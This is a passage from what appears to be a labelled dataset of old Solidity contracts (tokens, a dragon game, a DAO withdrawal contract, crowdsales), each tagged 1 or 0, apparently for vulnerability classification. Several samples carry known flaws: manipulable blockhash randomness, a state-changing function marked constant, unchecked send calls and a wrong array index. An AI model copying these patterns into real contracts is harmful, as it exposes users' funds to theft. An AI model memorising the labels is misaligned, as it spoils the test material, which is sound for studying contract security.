require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
} | 1 |
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LCToken is StandardToken, Ownable{
string public version = "1.0";
string public name = "LinkCoin Token";
string public symbol = "LC";
uint8 public decimals = 18;
mapping(address=>uint256) lockedBalance;
mapping(address=>uint) timeRelease;
uint256 internal constant INITIAL_SUPPLY = 10 * (10**8) * (10**18);
event Burn(address indexed burner, uint256 value);
event Lock(address indexed locker, uint256 value, uint releaseTime);
event UnLock(address indexed unlocker, uint256 value);
function LCToken() {
address onwer = msg.sender;
balances[onwer] = INITIAL_SUPPLY;
totalSupply = INITIAL_SUPPLY;
}
function lockedOf(address _owner) public constant returns (uint256 balance) {
return lockedBalance[_owner];
}
function unlockTimeOf(address _owner) public constant returns (uint timelimit) {
return timeRelease[_owner];
}
function transferAndLock(address _to, uint256 _value, uint _releaseTime) public returns (bool success) {
require(_to != 0x0);
require(_value <= balances[msg.sender]);
require(_value > 0);
require(_releaseTime > now && _releaseTime <= now + 60*60*24*365*5);
balances[msg.sender] = balances[msg.sender].sub(_value);
uint preRelease = timeRelease[_to];
if (preRelease <= now && preRelease != 0x0) {
balances[_to] = balances[_to].add(lockedBalance[_to]);
lockedBalance[_to] = 0;
}
lockedBalance[_to] = lockedBalance[_to].add(_value);
timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to];
Transfer(msg.sender, _to, _value);
Lock(_to, _value, _releaseTime);
return true;
}
function unlock() public constant returns (bool success){
uint256 amount = lockedBalance[msg.sender];
require(amount > 0);
require(now >= timeRelease[msg.sender]);
balances[msg.sender] = balances[msg.sender].add(amount);
lockedBalance[msg.sender] = 0;
timeRelease[msg.sender] = 0;
Transfer(0x0, msg.sender, amount);
UnLock(msg.sender, amount);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
return true;
}
} | 1 |
pragma solidity ^ 0.4.17;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract mortal is Ownable{
function mortal() public {
}
function kill() internal {
selfdestruct(owner);
}
}
contract Token {
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
}
contract DragonKing is mortal {
struct Character {
uint8 characterType;
uint128 value;
address owner;
}
uint32[] public ids;
uint32 public nextId;
uint32 public oldest;
mapping(uint32 => Character) characters;
mapping(uint32 => bool) teleported;
uint128[] public costs;
uint128[] public values;
uint8 fee;
uint8 constant public numDragonTypes = 6;
uint16 public numCharacters;
uint16 public maxCharacters;
mapping(uint8 => uint16) public numCharactersXType;
uint8 public eruptionThreshold;
uint256 public lastEruptionTimestamp;
uint8 public percentageToKill;
mapping(uint32 => uint) public cooldown;
uint256 public constant CooldownThreshold = 1 days;
Token teleportToken;
uint public teleportPrice;
Token neverdieToken;
uint public protectionPrice;
mapping(uint32 => uint8) public protection;
event NewPurchase(address player, uint8 characterType, uint8 amount, uint32 startId);
event NewExit(address player, uint256 totalBalance, uint32[] removedCharacters);
event NewEruption(uint32[] hitCharacters, uint128 value, uint128 gasCost);
event NewSell(uint32 characterId, address player, uint256 value);
event NewFight(uint32 winnerID, uint32 loserID, uint256 value);
event NewTeleport(uint32 characterId);
event NewProtection(uint32 characterId, uint8 lifes);
function DragonKing(address teleportTokenAddress, address neverdieTokenAddress, uint8 eruptionThresholdInHours, uint8 percentageOfCharactersToKill, uint8 characterFee, uint16[] charactersCosts) public onlyOwner {
fee = characterFee;
for (uint8 i = 0; i < charactersCosts.length * 2; i++) {
costs.push(uint128(charactersCosts[i % numDragonTypes]) * 1 finney);
values.push(costs[i] - costs[i] / 100 * fee);
}
eruptionThreshold = eruptionThresholdInHours * 60 * 60;
percentageToKill = percentageOfCharactersToKill;
maxCharacters = 600;
nextId = 1;
teleportToken = Token(teleportTokenAddress);
teleportPrice = 1;
neverdieToken = Token(neverdieTokenAddress);
protectionPrice = 1;
}
function addCharacters(uint8 characterType) payable public {
uint8 amount = uint8(msg.value / costs[characterType]);
uint16 nchars = numCharacters;
if (characterType >= costs.length || msg.value < costs[characterType] || nchars + amount > maxCharacters) revert();
bool isDragon = characterType < numDragonTypes;
uint32 nid = nextId;
if (isDragon) {
for (uint8 i = 0; i < amount; i++) {
addCharacter(nid + i, nchars + i);
characters[nid + i] = Character(characterType, values[characterType], msg.sender);
}
numCharactersXType[characterType] += amount;
numCharacters += amount;
}
else {
for (uint8 j = 0; j < amount; j++) {
characters[nid + j] = Character(characterType, values[characterType], msg.sender);
}
}
nextId = nid + amount;
NewPurchase(msg.sender, characterType, amount, nid);
}
function addCharacter(uint32 nId, uint16 nchars) internal {
if (nchars < ids.length)
ids[nchars] = nId;
else
ids.push(nId);
}
function exit() public {
uint32[] memory removed = new uint32[](50);
uint8 count;
uint32 lastId;
uint playerBalance;
uint16 nchars = numCharacters;
for (uint16 i = 0; i < nchars; i++) {
if (characters[ids[i]].owner == msg.sender) {
while (nchars > 0 && characters[ids[nchars - 1]].owner == msg.sender) {
nchars--;
lastId = ids[nchars];
numCharactersXType[characters[lastId].characterType]--;
playerBalance += characters[lastId].value;
removed[count] = lastId;
count++;
if (lastId == oldest) oldest = 0;
delete characters[lastId];
}
if (nchars > i + 1) {
playerBalance += characters[ids[i]].value;
removed[count] = ids[i];
count++;
nchars--;
replaceCharacter(i, nchars);
}
}
}
numCharacters = nchars;
NewExit(msg.sender, playerBalance, removed);
msg.sender.transfer(playerBalance);
}
function replaceCharacter(uint16 index, uint16 nchars) internal {
uint32 characterId = ids[index];
numCharactersXType[characters[characterId].characterType]--;
if (characterId == oldest) oldest = 0;
delete characters[characterId];
ids[index] = ids[nchars];
delete ids[nchars];
}
function triggerVolcanoEruption() public {
require(now >= lastEruptionTimestamp + eruptionThreshold);
require(numCharacters>0);
lastEruptionTimestamp = now;
uint128 pot;
uint128 value;
uint16 random;
uint32 nextHitId;
uint16 nchars = numCharacters;
uint32 howmany = nchars * percentageToKill / 100;
uint128 neededGas = 80000 + 10000 * uint32(nchars);
if(howmany == 0) howmany = 1;
uint32[] memory hitCharacters = new uint32[](howmany);
for (uint8 i = 0; i < howmany; i++) {
random = uint16(generateRandomNumber(lastEruptionTimestamp + i) % nchars);
nextHitId = ids[random];
hitCharacters[i] = nextHitId;
value = hitCharacter(random, nchars);
if (value > 0) {
nchars--;
}
pot += value;
}
uint128 gasCost = uint128(neededGas * tx.gasprice);
numCharacters = nchars;
if (pot > gasCost){
distribute(pot - gasCost);
NewEruption(hitCharacters, pot - gasCost, gasCost);
}
else
NewEruption(hitCharacters, 0, gasCost);
}
function fight(uint32 knightID, uint16 knightIndex) public {
if (knightID != ids[knightIndex])
knightID = getCharacterIndex(knightID);
Character storage knight = characters[knightID];
require(cooldown[knightID] + CooldownThreshold <= now);
require(knight.owner == msg.sender);
require(knight.characterType >= numDragonTypes);
uint16 dragonIndex = getRandomDragon(knightID);
assert(dragonIndex < maxCharacters);
uint32 dragonID = ids[dragonIndex];
Character storage dragon = characters[dragonID];
uint16 tieBreaker = uint16(now % 2);
uint128 value;
if (knight.characterType - numDragonTypes > dragon.characterType || (knight.characterType - numDragonTypes == dragon.characterType && tieBreaker == 0)) {
value = hitCharacter(dragonIndex, numCharacters);
if (value > 0) {
numCharacters--;
}
knight.value += value;
cooldown[knightID] = now;
if (oldest == 0) findOldest();
NewFight(knightID, dragonID, value);
}
else {
value = hitCharacter(knightIndex, numCharacters);
if (value > 0) {
numCharacters--;
}
dragon.value += value;
NewFight(dragonID, knightID, value);
}
}
function getRandomDragon(uint256 nonce) internal view returns(uint16) {
uint16 randomIndex = uint16(generateRandomNumber(nonce) % numCharacters);
uint16 stepSize = numCharacters % 7 == 0 ? (numCharacters % 11 == 0 ? 13 : 11) : 7;
uint16 i = randomIndex;
do {
if (characters[ids[i]].characterType < numDragonTypes && characters[ids[i]].owner != msg.sender) return i;
i = (i + stepSize) % numCharacters;
} while (i != randomIndex);
return maxCharacters + 1;
}
function generateRandomNumber(uint256 nonce) internal view returns(uint) {
return uint(keccak256(block.blockhash(block.number - 1), now, numCharacters, nonce));
}
function hitCharacter(uint16 index, uint16 nchars) internal returns(uint128 characterValue) {
uint32 id = ids[index];
if (protection[id] > 0) {
protection[id]--;
return 0;
}
characterValue = characters[ids[index]].value;
nchars--;
replaceCharacter(index, nchars);
}
function findOldest() public {
oldest = ids[0];
for (uint16 i = 1; i < numCharacters; i++) {
if (ids[i] < oldest && characters[ids[i]].characterType < numDragonTypes)
oldest = ids[i];
}
}
function distribute(uint128 totalAmount) internal {
if (oldest == 0)
findOldest();
characters[oldest].value += totalAmount / 10;
uint128 amount = totalAmount / 10 * 9;
uint128 valueSum;
uint128[] memory shares = new uint128[](values.length);
for (uint8 v = 0; v < values.length; v++) {
if (numCharactersXType[v] > 0) valueSum += values[v];
}
for (uint8 m = 0; m < values.length; m++) {
if (numCharactersXType[m] > 0)
shares[m] = amount * values[m] / valueSum / numCharactersXType[m];
}
for (uint16 i = 0; i < numCharacters; i++) {
characters[ids[i]].value += shares[characters[ids[i]].characterType];
}
}
function collectFees(uint128 amount) public onlyOwner {
uint collectedFees = getFees();
if (amount + 100 finney < collectedFees) {
owner.transfer(amount);
}
}
function stop() public onlyOwner {
for (uint16 i = 0; i < numCharacters; i++) {
if (!characters[ids[i]].owner.send(characters[ids[i]].value)) revert();
}
kill();
}
function sellCharacter(uint32 characterId) public {
require(msg.sender == characters[characterId].owner);
uint128 val = characters[characterId].value;
numCharacters--;
replaceCharacter(getCharacterIndex(characterId), numCharacters);
msg.sender.transfer(val);
NewSell(characterId, msg.sender, val);
}
function receiveApproval(address sender, uint256 value, address tokenContract, bytes callData) public {
if (msg.sender == address(teleportToken)) {
require(value >= teleportPrice);
assert(teleportToken.transferFrom(sender, this, teleportPrice));
teleportKnight(toUint32(callData));
}
else if (msg.sender == address(neverdieToken)) {
uint32 id = toUint32(callData);
require(characters[id].value == values[characters[id].characterType]);
uint256 lifePrice = ((characters[id].characterType % numDragonTypes) + 1) * protectionPrice;
uint256 price = 0;
uint8 i = protection[id];
require(i <= 3);
for (i; i < 3 && value >= price + lifePrice * (i + 1); i++) {
price += lifePrice * (i + 1);
}
assert(neverdieToken.transferFrom(sender, this, price));
protectCharacter(id, i);
}
else
revert();
}
function teleportKnight(uint32 id) internal {
require(teleported[id] == false);
teleported[id] = true;
Character storage knight = characters[id];
assert(knight.characterType >= numDragonTypes);
addCharacter(id, numCharacters);
numCharacters++;
numCharactersXType[knight.characterType]++;
NewTeleport(id);
}
function protectCharacter(uint32 id, uint8 lifes) internal {
protection[id] = lifes;
NewProtection(id, lifes);
}
function getCharacter(uint32 characterId) constant public returns(uint8, uint128, address) {
return (characters[characterId].characterType, characters[characterId].value, characters[characterId].owner);
}
function getCharacterIndex(uint32 characterId) constant public returns(uint16) {
for (uint16 i = 0; i < ids.length; i++) {
if (ids[i] == characterId) {
return i;
}
}
revert();
}
function get10Characters(uint16 startIndex) constant public returns(uint32[10] characterIds, uint8[10] types, uint128[10] values, address[10] owners) {
uint32 endIndex = startIndex + 10 > numCharacters ? numCharacters : startIndex + 10;
uint8 j = 0;
uint32 id;
for (uint16 i = startIndex; i < endIndex; i++) {
id = ids[i];
characterIds[j] = id;
types[j] = characters[id].characterType;
values[j] = characters[id].value;
owners[j] = characters[id].owner;
j++;
}
}
function getNumDragons() constant public returns(uint16 numDragons) {
for (uint8 i = 0; i < numDragonTypes; i++)
numDragons += numCharactersXType[i];
}
function getNumKnights() constant public returns(uint16 numKnights) {
for (uint8 i = numDragonTypes; i < costs.length; i++)
numKnights += numCharactersXType[i];
}
function getFees() constant public returns(uint) {
uint reserved = 0;
for (uint16 j = 0; j < numCharacters; j++)
reserved += characters[ids[j]].value;
return address(this).balance - reserved;
}
function setPrices(uint16[] prices) public onlyOwner {
for (uint8 i = 0; i < prices.length * 2; i++) {
costs[i] = uint128(prices[i % numDragonTypes]) * 1 finney;
values[i] = costs[i] - costs[i] / 100 * fee;
}
}
function setFee(uint8 _fee) public onlyOwner {
fee = _fee;
}
function setMaxCharacters(uint16 number) public onlyOwner {
maxCharacters = number;
}
function setTeleportPrice(uint price) public onlyOwner {
teleportPrice = price;
}
function setProtectionPrice(uint price) public onlyOwner {
protectionPrice = price;
}
function toUint32(bytes b) internal pure returns(uint32) {
bytes32 newB;
assembly {
newB: = mload(0x80)
}
return uint32(newB);
}
} | 0 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x440c59b325d2997a134c2c7c60a8c61611212bad);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TokenlessCrowdsale {
using SafeMath for uint256;
address public wallet;
uint256 public weiRaised;
event SaleContribution(address indexed purchaser, address indexed beneficiary, uint256 value);
constructor (address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchaseInWei(_beneficiary, weiAmount);
emit SaleContribution(
msg.sender,
_beneficiary,
weiAmount
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _processPurchaseInWei(address _beneficiary, uint256 _weiAmount) internal {
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WhitelistedAICrowdsale is TokenlessCrowdsale, Ownable {
using SafeMath for uint256;
mapping(address => bool) public accredited;
mapping(address => uint256) public contributions;
mapping(address => uint256) public caps;
function isWhitelisted(address _beneficiary) public view returns (bool) {
if (caps[_beneficiary] != 0) {
return true;
}
return false;
}
function addToWhitelist(address _beneficiary, uint256 _cap, bool _accredited) external onlyOwner {
caps[_beneficiary] = _cap;
accredited[_beneficiary] = _accredited;
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
caps[_beneficiary] = 0;
accredited[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(contributions[_beneficiary].add(_weiAmount) <= caps[_beneficiary]);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount);
}
}
contract FiatCappedCrowdsale is TokenlessCrowdsale, Ownable {
using SafeMath for uint256;
uint256 public millCap;
uint256 public millRaised;
uint256 public minMillPurchase;
uint256 public millWeiRate;
uint256 public millLeconteRate;
uint256 constant minMillWeiRate = (10 ** 18) / (5000 * (10 ** 3));
uint256 constant maxMillWeiRate = (10 ** 18) / (100 * (10 ** 3));
uint256 constant minMillLeconteRate = (10 ** 18) / 1000;
uint256 constant maxMillLeconteRate = (10 ** 18) / 10;
modifier isSaneETHRate(uint256 _millWeiRate) {
require(_millWeiRate >= minMillWeiRate);
require(_millWeiRate <= maxMillWeiRate);
_;
}
modifier isSaneSPXRate(uint256 _millLeconteRate) {
require(_millLeconteRate >= minMillLeconteRate);
require(_millLeconteRate <= maxMillLeconteRate);
_;
}
constructor (
uint256 _millCap,
uint256 _minMillPurchase,
uint256 _millLeconteRate,
uint256 _millWeiRate
) public isSaneSPXRate(_millLeconteRate) isSaneETHRate(_millWeiRate) {
require(_millCap > 0);
require(_minMillPurchase > 0);
millCap = _millCap;
minMillPurchase = _minMillPurchase;
millLeconteRate = _millLeconteRate;
millWeiRate = _millWeiRate;
}
function capReached() public view returns (bool) {
return millRaised >= millCap;
}
function setWeiRate(uint256 _millWeiRate) external onlyOwner isSaneETHRate(_millWeiRate) {
millWeiRate = _millWeiRate;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 _millAmount = _toMill(_weiAmount);
require(_millAmount >= minMillPurchase);
uint256 _millRaised = millRaised.add(_millAmount);
require(_millRaised <= millCap);
millRaised = _millRaised;
}
function _toMill(uint256 _weiAmount) internal returns (uint256) {
return _weiAmount.div(millWeiRate);
}
function _toLeconte(uint256 _weiAmount) internal returns (uint256) {
return _toMill(_weiAmount).mul(millLeconteRate);
}
}
contract PausableCrowdsale is TokenlessCrowdsale, Ownable {
bool public open = true;
modifier saleIsOpen() {
require(open);
_;
}
function unpauseSale() external onlyOwner {
require(!open);
open = true;
}
function pauseSale() external onlyOwner saleIsOpen {
open = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal saleIsOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BasicERC223Receiver {
function tokenFallback(address _from, uint256 _value, bytes _data) public pure;
}
contract RestrictedToken is BasicToken, Ownable {
string public name;
string public symbol;
uint8 public decimals;
address public issuer;
uint256 public vestingPeriod;
mapping(address => bool) public authorizedRecipients;
mapping(address => bool) public erc223Recipients;
mapping(address => uint256) public lastIssuedTime;
event Issue(address indexed to, uint256 value);
modifier onlyIssuer() {
require(msg.sender == issuer);
_;
}
modifier isAuthorizedRecipient(address _recipient) {
require(authorizedRecipients[_recipient]);
_;
}
constructor (
uint256 _supply,
string _name,
string _symbol,
uint8 _decimals,
uint256 _vestingPeriod,
address _owner,
address _issuer
) public {
require(_supply != 0);
require(_owner != address(0));
require(_issuer != address(0));
name = _name;
symbol = _symbol;
decimals = _decimals;
vestingPeriod = _vestingPeriod;
owner = _owner;
issuer = _issuer;
totalSupply_ = _supply;
balances[_issuer] = _supply;
emit Transfer(address(0), _issuer, _supply);
}
function authorize(address _recipient, bool _isERC223) public onlyOwner {
require(_recipient != address(0));
authorizedRecipients[_recipient] = true;
erc223Recipients[_recipient] = _isERC223;
}
function deauthorize(address _recipient) public onlyOwner isAuthorizedRecipient(_recipient) {
authorizedRecipients[_recipient] = false;
erc223Recipients[_recipient] = false;
}
function transfer(address _to, uint256 _value) public isAuthorizedRecipient(_to) returns (bool) {
if (erc223Recipients[_to]) {
BasicERC223Receiver receiver = BasicERC223Receiver(_to);
bytes memory empty;
receiver.tokenFallback(msg.sender, _value, empty);
}
return super.transfer(_to, _value);
}
function issue(address _to, uint256 _value) public onlyIssuer returns (bool) {
lastIssuedTime[_to] = block.timestamp;
emit Issue(_to, _value);
return super.transfer(_to, _value);
}
}
contract PrivateSale is TokenlessCrowdsale, WhitelistedAICrowdsale, FiatCappedCrowdsale, PausableCrowdsale {
using SafeMath for uint256;
RestrictedToken public tokenR0;
RestrictedToken public tokenR6;
uint8 constant bonusPct = 30;
constructor (address _wallet, uint256 _millWeiRate) TokenlessCrowdsale(_wallet)
FiatCappedCrowdsale(
5000000 * (10 ** 3),
10000 * (10 ** 3),
(10 ** 18) / 50,
_millWeiRate
)
public {
tokenR0 = new RestrictedToken(
2 * 100000000 * (10 ** 18),
'Sparrow Token (Restricted)',
'SPX-R0',
18,
0,
msg.sender,
this
);
tokenR6 = new RestrictedToken(
2 * 130000000 * (10 ** 18),
'Sparrow Token (Restricted with 6-month vesting)',
'SPX-R6',
18,
6 * 30 * 86400,
msg.sender,
this
);
}
function _processPurchaseInWei(address _beneficiary, uint256 _weiAmount) internal {
super._processPurchaseInWei(_beneficiary, _weiAmount);
uint256 tokens = _toLeconte(_weiAmount);
uint256 bonus = tokens.mul(bonusPct).div(100);
if (accredited[_beneficiary]) {
tokenR0.issue(_beneficiary, tokens);
tokenR6.issue(_beneficiary, bonus);
} else {
tokenR6.issue(_beneficiary, tokens.add(bonus));
}
}
} | 0 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AuthenticationManager {
mapping (address => bool) adminAddresses;
mapping (address => bool) accountReaderAddresses;
address[] adminAudit;
address[] accountReaderAudit;
event AdminAdded(address addedBy, address admin);
event AdminRemoved(address removedBy, address admin);
event AccountReaderAdded(address addedBy, address account);
event AccountReaderRemoved(address removedBy, address account);
function AuthenticationManager() {
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
function contractVersion() constant returns(uint256) {
return 100201707171503;
}
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
function addAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (adminAddresses[_address])
throw;
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
function removeAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (_address == msg.sender)
throw;
if (!adminAddresses[_address])
throw;
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
function addAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[adminAudit.length - 1] = _address;
}
function removeAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (!accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
}
contract IcoPhaseManagement {
using SafeMath for uint256;
bool public icoPhase = true;
bool public icoAbandoned = false;
bool siftContractDefined = false;
uint256 constant icoUnitPrice = 10 finney;
mapping(address => uint256) public abandonedIcoBalances;
SmartInvestmentFundToken smartInvestmentFundToken;
AuthenticationManager authenticationManager;
uint256 constant public icoStartTime = 1501545600;
uint256 constant public icoEndTime = 1505433600;
event IcoClosed();
event IcoAbandoned(string details);
modifier onlyDuringIco {
bool contractValid = siftContractDefined && !smartInvestmentFundToken.isClosed();
if (!contractValid || (!icoPhase && !icoAbandoned)) throw;
_;
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function IcoPhaseManagement(address _authenticationManagerAddress) {
if (icoStartTime >= icoEndTime)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
}
